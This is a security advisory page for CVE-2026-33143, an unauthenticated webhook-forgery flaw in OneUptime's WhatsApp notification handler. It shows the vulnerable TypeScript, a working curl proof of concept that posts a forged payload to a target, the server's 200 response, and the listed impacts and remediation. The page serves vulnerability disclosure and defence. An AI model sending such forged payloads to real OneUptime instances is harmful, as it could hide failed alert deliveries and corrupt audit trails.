CVE-2026-33143

HIGH
2026-03-18 https://github.com/OneUptime/oneuptime GHSA-g5ph-f57v-mwjc
7.5
CVSS 3.1
Share

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

3
Patch Released
Mar 31, 2026 - 21:13 nvd
Patch available
Analysis Generated
Mar 18, 2026 - 17:25 vuln.today
CVE Published
Mar 18, 2026 - 17:25 nvd
HIGH 7.5

Description

### Summary The WhatsApp POST webhook handler (`/notification/whatsapp/webhook`) processes incoming status update events without verifying the Meta/WhatsApp `X-Hub-Signature-256` HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks. ### Details **Vulnerable code - `App/FeatureSet/Notification/API/WhatsApp.ts` lines 372-430:** ```typescript router.post( "/webhook", async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => { try { const body: JSONObject = req.body as JSONObject; // NO signature verification! No X-Hub-Signature-256 check! if ( (body["object"] as string | undefined) !== "whatsapp_business_account" ) { return Response.sendEmptySuccessResponse(req, res); } const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined; // ... processes entries and updates WhatsApp log status records ``` Compare with the Slack webhook which correctly validates signatures: **`Common/Server/Middleware/SlackAuthorization.ts` line 58:** ```typescript const isValid = crypto.timingSafeEqual( Buffer.from(computedSignature), Buffer.from(slackSignature) ); ``` The WhatsApp GET webhook correctly validates the verify token - only the POST handler (which processes actual events) is missing signature verification. No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue. ### PoC **Environment:** OneUptime v10.0.23 via `docker compose up` (default configuration) ```bash # Forge a delivery status update for any WhatsApp notification - no auth, no signature curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \ -H "Content-Type: application/json" \ -d '{ "object": "whatsapp_business_account", "entry": [{ "id": "FAKE_WABA_ID", "changes": [{ "value": { "messaging_product": "whatsapp", "metadata": { "display_phone_number": "+15550000000", "phone_number_id": "FAKE_PHONE_ID" }, "messages": [{ "from": "15551234567", "id": "wamid.FAKE", "timestamp": "1234567890", "text": {"body": "INJECTED_MESSAGE"}, "type": "text" }] }, "field": "messages" }] }] }' ``` **Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):** ``` < HTTP/1.1 200 OK {} ``` - Fake WhatsApp webhook payload accepted with HTTP 200 - No `X-Hub-Signature-256` header provided - no signature verification at all - Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates ### Impact Any unauthenticated remote attacker can forge WhatsApp webhook events: - **False delivery status:** Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators - **Alert suppression:** Critical on-call notifications that failed to deliver appear successful, preventing escalation - **Log manipulation:** WhatsApp notification logs updated with forged status data, corrupting audit trails - **Incident response disruption:** During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries

Analysis

The OneUptime monitoring platform (specifically version 10.0.23 and likely earlier versions) contains an authentication bypass vulnerability in its WhatsApp webhook handler that fails to verify the X-Hub-Signature-256 HMAC signature required by Meta/WhatsApp. Any unauthenticated remote attacker can send forged webhook payloads to manipulate notification delivery status records, suppress critical alerts, and corrupt audit trails. …

Sign in for full analysis, threat intelligence, and remediation guidance.

Remediation

Within 24 hours: Identify all OneUptime instances running version 10.0.23 or earlier and document their role in your monitoring stack; isolate affected systems from untrusted networks if possible. Within 7 days: Implement WAF rules to validate X-Hub-Signature-256 headers on WhatsApp webhook endpoints, disable WhatsApp webhook functionality if not business-critical, and enable detailed logging of all webhook requests for forensic analysis. …

Sign in for detailed remediation steps.

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: +0.0
CVSS: +38
POC: 0

Share

CVE-2026-33143 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy